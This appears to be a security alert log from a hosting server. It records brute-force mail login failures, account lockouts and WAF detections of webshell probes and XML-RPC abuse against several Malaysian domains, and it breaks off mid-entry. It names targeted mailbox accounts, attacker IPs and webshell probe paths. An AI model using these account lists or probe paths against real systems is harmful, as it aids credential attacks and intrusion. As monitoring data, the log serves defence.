2026-01-31 22:58:20 dovecot_login authenticator failed for H=(UAJKKfW) [178.16.54.138]:61359: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:58:23 dovecot_login authenticator failed for H=(KDavOKP) [158.94.208.215]:51736: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:59:35 dovecot_login authenticator failed for H=(uVELglR3jD) [178.16.54.138]:64402: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-01-31 22:59:49 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:43272: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.85.69.22
country_id: 2017370
description:
2026-01-31 22:59:28 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [194.85.69.22]:55336: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.21.162.242
country_id: 1835841
description:
2026-01-31 22:59:43 dovecot_login authenticator failed for H=([59.21.162.242]) [59.21.162.242]:37418: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:59:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:59:11 dovecot_login authenticator failed for H=(U368eyQG) [158.94.208.215]:54653: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:00:12 dovecot_login authenticator failed for H=(obPY88) [178.16.54.138]:50738: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:00:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.178
country_id: 1269750
description:
2026-01-31 23:00:47 dovecot_login authenticator failed for H=([182.95.222.178]) [182.95.222.178]:44152: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-01-31 23:00:03 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:45702: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:00:23 dovecot_login authenticator failed for H=(JyPAykjB) [158.94.208.215]:50612: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 23:00:52 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:42604: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.180.2.62
country_id: 1814991
description:
2026-01-31 23:01:08 dovecot_login authenticator failed for H=([222.180.2.62]) [222.180.2.62]:56016: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:01:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:01:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58852: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:01:11 dovecot_login authenticator failed for H=(RJyniFtFf) [158.94.208.215]:52099: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.43.172
country_id: 1819730
description:
2026-01-31 23:01:17 dovecot_login authenticator failed for H=172.43.246.220.static.netvigator.com [220.246.43.172]:50217: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:02:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63871: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:02:59 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61240: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:02:09 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:4123: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:02:23 dovecot_login authenticator failed for H=(FSxBcA) [158.94.208.215]:65088: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:02:21 dovecot_login authenticator failed for H=(4MHE6R) [178.16.54.138]:64460: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 23:03:12 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:47158: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:03:31 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:39344: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:03:38 dovecot_login authenticator failed for H=(AhklxXs) [178.16.54.138]:53846: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:03:04 dovecot_plain authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:62010: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:03:11 dovecot_login authenticator failed for H=(azgeTD5kll) [158.94.208.215]:63993: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.109.81.90
country_id: 2017370
description:
2026-01-31 23:04:49 dovecot_login authenticator failed for H=([176.109.81.90]) [176.109.81.90]:29906: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.244
country_id: 1168579
description:
2026-01-31 23:05:00 dovecot_login authenticator failed for H=([103.148.92.244]) [103.148.92.244]:54107: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 23:04:11 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:49126: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:04:15 dovecot_login authenticator failed for H=(Mjq7mwssL) [178.16.54.138]:62902: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-31 23:04:48 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:35364: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.152.153
country_id: 2658434
description:
2026-01-31 23:04:05 dovecot_login authenticator failed for H=(5D5E03B.online-server.cloud) [158.173.152.153]:27027: 535 Incorrect authentication data (set_id=laupk@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:04:23 dovecot_login authenticator failed for H=(yL2TY6) [158.94.208.215]:49777: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:05:28 dovecot_login authenticator failed for H=(TedfgbLjPH) [178.16.54.138]:61433: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:05:58 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58913: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.124.221.2
country_id: 2750405
description:
2026-01-31 23:05:53 dovecot_login authenticator failed for H=ip-213-124-221-2.ip.prioritytelecom.net [213.124.221.2]:49846: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:05:11 dovecot_login authenticator failed for H=(FfiPkcvz8) [158.94.208.215]:58433: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:05:24 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:54006: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.52
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/about.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.74.12.86
country_id: 1269750
description:
2026-01-31 23:06:15 dovecot_login authenticator failed for H=([182.74.12.86]) [182.74.12.86]:40224: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:06:05 dovecot_login authenticator failed for H=(Xgpbhjoc) [178.16.54.138]:49680: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 46.176.157.17
country_id: 390903
domain: jpack.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:33191.jpack.com.my||ServerName:jpack.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f2dec7d8e03f8b9f2bd76845e21b2588d74c0cfe||Title:0xb6d9a963||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.69.7
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/clientele.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:06:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:06:13 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:55223: 535 Incorrect authentication data (set_id=testing@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.184.74.105
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=75&page=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:06:23 dovecot_login authenticator failed for H=(hyb5e4W) [158.94.208.215]:54035: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:07:11 dovecot_login authenticator failed for H=(usSAKQ) [158.94.208.215]:57422: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.212.37.145
country_id: 1814991
description:
2026-01-31 23:07:20 dovecot_login authenticator failed for H=(145.37.212.118.adsl-pool.jx.chinaunicom.com) [118.212.37.145]:57751: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-31 23:07:38 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:43938: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:07:52 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64011: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:07:19 dovecot_login authenticator failed for H=(Jsris8) [178.16.54.138]:60624: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:07:04 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:54008: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:07:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:08:35 dovecot_login authenticator failed for H=(L6kSSGy) [178.16.54.138]:65305: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:08:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56679: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:08:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:08:22 dovecot_login authenticator failed for H=(tmYDwi) [158.94.208.215]:65378: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:09:31 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51359: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-01-31 23:09:57 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:50188: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 23:09:57 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:42746: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:09:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57790: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:09:10 dovecot_login authenticator failed for H=(IxgmVFBien) [158.94.208.215]:57804: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:09:12 dovecot_login authenticator failed for H=(4gMAQBT) [178.16.54.138]:60974: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:09:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.244.113.178
country_id: 2017370
description:
2026-01-31 23:10:06 dovecot_login authenticator failed for H=(91.244.113.178.wirenet.tv) [91.244.113.178]:48391: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:10:22 dovecot_login authenticator failed for H=(nOZXuo4J) [158.94.208.215]:57479: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.249.19.34
country_id: 1643084
description:
2026-01-31 23:10:41 dovecot_login authenticator failed for H=([103.249.19.34]) [103.249.19.34]:48306: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.98.147.214
country_id: 3017382
description:
2026-01-31 23:10:14 dovecot_login authenticator failed for H=ip214.ip-87-98-147.eu (ADMIN) [87.98.147.214]:51042: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:10:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-01-31 23:10:22 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:28938: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:10:26 dovecot_login authenticator failed for H=(msVZOJT) [178.16.54.138]:62055: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
2026-01-31 23:11:01 dovecot_login authenticator failed for H=([103.68.52.210]) [103.68.52.210]:40566: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.128
country_id: 2186224
description:
2026-01-31 23:10:37 dovecot_login authenticator failed for H=([121.73.163.128]) [121.73.163.128]:59254: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:11:03 dovecot_login authenticator failed for H=(re2lNVB6Z) [178.16.54.138]:51318: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:11:10 dovecot_login authenticator failed for H=(ebdEP67) [158.94.208.215]:56672: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:12:04 dovecot_login authenticator failed for H=(AUMZ8Dh9v) [178.16.54.138]:51402: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.98.28.43
country_id: 1269750
description:
2026-01-31 23:12:29 dovecot_login authenticator failed for H=([14.98.28.43]) [14.98.28.43]:48566: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.2.228.177
country_id: 1269750
description:
2026-01-31 23:12:20 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [61.2.228.177]:56308: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:12:22 dovecot_login authenticator failed for H=(Tq7f3NzMn0) [158.94.208.215]:50873: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.34.195.88
country_id: 1522867
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/docs/getting_started/installation.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.6.65
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20821514510670 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:13:10 dovecot_login authenticator failed for H=(WqIAPzf) [158.94.208.215]:50260: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:13:19 dovecot_login authenticator failed for H=(poXi3AzHt) [178.16.54.138]:59698: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:13:31 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60559: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.57.184.151
country_id: 1269750
description:
2026-01-31 23:15:00 dovecot_login authenticator failed for H=([103.57.184.151]) [103.57.184.151]:57564: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:14:35 dovecot_login authenticator failed for H=(Bw9VPuq0Uw) [178.16.54.138]:54221: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-31 23:14:58 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:48198: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.170
country_id: 1269750
description:
2026-01-31 23:14:31 dovecot_login authenticator failed for H=([182.95.185.170]) [182.95.185.170]:45022: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.248.162
country_id: 1269750
description:
2026-01-31 23:14:41 dovecot_login authenticator failed for H=(033.162.18.125.dhcp.anaronline.net) [125.19.248.162]:45536: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.178.70
country_id: 1269750
description:
2026-01-31 23:14:47 dovecot_login authenticator failed for H=([182.79.95.167]) [122.185.178.70]:58632: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:14:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50231: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:14:22 dovecot_login authenticator failed for H=(yVaDB4G) [158.94.208.215]:50899: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.61.57.81
country_id: 1168579
description:
2026-01-31 23:14:30 dovecot_login authenticator failed for H=([39.61.57.81]) [39.61.57.81]:35633: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.91.226
country_id: 1562822
description:
2026-01-31 23:14:58 dovecot_login authenticator failed for H=([103.17.91.226]) [103.17.91.226]:42646: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:14:12 H=([64.89.160.15]) [64.89.160.15]:57592 F=<essenas@outlook.com> rejected RCPT <janice@smartcable.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:15:10 dovecot_login authenticator failed for H=(dNVPqMgZQ) [158.94.208.215]:62285: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-31 23:15:22 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:33590: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-31 23:15:33 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:12370: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 176.120.22.61
country_id: 2017370
description:
2026-01-31 23:15:38 188747 [Warning] Aborted connection 188747 to db: 'unconnected' user: 'unauthenticated' host: '176.120.22.61' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:15:58 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:61278: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.226.51
country_id: 1819730
description:
2026-01-31 23:16:00 dovecot_login authenticator failed for H=(223-197-226-51.static.imsbiz.com) [223.197.226.51]:60449: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:15:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 23:15:15 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:58254: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:15:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52185: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 23:15:10 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:35588: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:15:12 dovecot_login authenticator failed for H=(xUl5eCc9) [178.16.54.138]:64384: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-31 23:15:20 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:33682: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
